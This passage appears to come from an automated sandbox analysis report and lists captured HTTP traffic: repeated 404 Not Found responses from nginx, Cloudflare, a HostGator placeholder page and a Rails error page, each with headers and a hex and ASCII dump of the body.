20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:24:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:24:07 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:24:10 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:24:12 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:24:19 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeLast-Modified: Thu, 29 Sep 2022 21:53:06 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ehVwVWW8orrcqchtMcK70V6Pa1%2BqPKajBzY%2B1uxLdWgrX47QKonCnaiwyHcvx5Fh%2BxvUPiFES63NhkDwj6dONrr4fy%2BcADzLabFyyaSOzAU9RyucPvLId9p4fUj04FzZPtDMWCd4Lq4zYRwU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ed5baa4ef8dde9a-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1494&rtt_var=747&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=758&delivery_rate=0&cwnd=203&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 33 34 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 d8 fc 81 9c 88 49 d4 4d a2 a7 32 a7 f3 01 73 3a ef a6 f3 a7 32 e7 b3 01 73 Data Ascii: 34bnF={E@I/M&@{*V(C,)oc@B/VPQ$QqZ;a|_@2}"P*'D@\v+B@1D|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:24:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeLast-Modified: Thu, 29 Sep 2022 21:53:06 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nk%2Bh4Cjgh6Ykrljq5KjDbBGeXUQMRG0HwTuRgPIX6Voy%2BobZcsJ2p5qNi3z1IdRnO5DEjiZbl5ZGu%2B07t%2BbD70832W7QAWBnI6sEnLnUXOGYyiAP1MpW1EsydachnqTUW3nOsxkKy8r1bQqi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ed5bab60ac243dc-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1688&min_rtt=1688&rtt_var=844&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=778&delivery_rate=0&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 33 34 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 d8 fc 81 9c 88 49 d4 4d a2 a7 32 a7 f3 01 73 3a ef a6 f3 a7 32 e7 b3 01 73 Data Ascii: 34bnF={E@I/M&@{*V(C,)oc@B/VPQ$QqZ;a|_@2}"P*'D@\v+B@1D|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:24:24 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeLast-Modified: Thu, 29 Sep 2022 21:53:06 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RJj2RCjnOhNznBCpSocqhSg6UpwsQ690Ub%2FmKFQMigW0jrrZ%2BkU9jRpIrTyNZ8R2Cy8ApXiXhI3uljesQRxImpbdGVxOSQ2NRCoXgYdyAinAQDdrWxw0iDzKSIaSoLAAaswQ65Cql8Go6nFG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ed5bac62cc47d08-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1880&min_rtt=1880&rtt_var=940&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1791&delivery_rate=0&cwnd=173&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 33 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 d8 fc 81 9c 88 49 d4 4d a2 a7 32 a7 f3 01 73 3a ef a6 f3 a7 32 e7 b3 01 73 3e eb e6 Data Ascii: 33fnF={E@I/M&@{*V(C,)oc@B/VPQ$QqZ;a|_@2}"P*'D@\v+B@1D|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:24:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeLast-Modified: Thu, 29 Sep 2022 21:53:06 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U4NZiAPZgjlxwZwTfSvm0u%2BUFUyuV%2B9ZdXQ61C%2Fw3PDVDRr6bJboCAsbMcP3y5lWXY6V715BfJ8qXZOmyg9z0g3rHtX8I3gjEwY1H%2Bsm%2BtciXVLsecXFScrANdFpoPeJmg4jJBW4YXNlMPtr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ed5bad6ef2b8c93-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1826&rtt_var=913&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=474&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 33 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 6f 73 70 65 64 61 67 65 6d 20 64 65 20 53 69 74 65 20 63 6f 6d 20 44 6f 6d c3 ad 6e 69 6f 20 47 72 c3 a1 74 69 73 20 2d 20 48 6f 73 74 47 61 74 6f 72 3c 2f 74 69 74 6c Data Ascii: 939<!DOCTYPE html><html lang="pt-BR"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="format-detection" content="telephone=no"> <meta name="robots" content="noindex"> <title>Hospedagem de Site com Domnio Grtis - HostGator</titl
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:24:36 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:24:39 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:24:42 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:24:44 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=UTF-8x-request-id: 85763548-a100-476d-9f8c-d79fe6c3acdcx-runtime: 0.021187content-length: 17078connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 70 72 65 2d 77 72 61 70 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 2e 62 6f 78 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 45 45 45 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 35 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 46 30 46 30 46 30 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 35 65 6d 20 31 2e 35 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 2e 32 65 6d 20 30 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 32 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 64 65 74 61 69 6c 73 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 30 44 30 44 30 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 65 6d 20 30 70 78 3b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 37 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=UTF-8x-request-id: 0994128c-7d62-47ec-94a3-9130db6fa5d5x-runtime: 0.026686content-length: 17098connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 70 72 65 2d 77 72 61 70 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 2e 62 6f 78 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 45 45 45 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 35 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 46 30 46 30 46 30 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 35 65 6d 20 31 2e 35 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 2e 32 65 6d 20 30 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 32 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 64 65 74 61 69 6c 73 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 30 44 30 44 30 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 65 6d 20 30 70 78 3b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 77 69 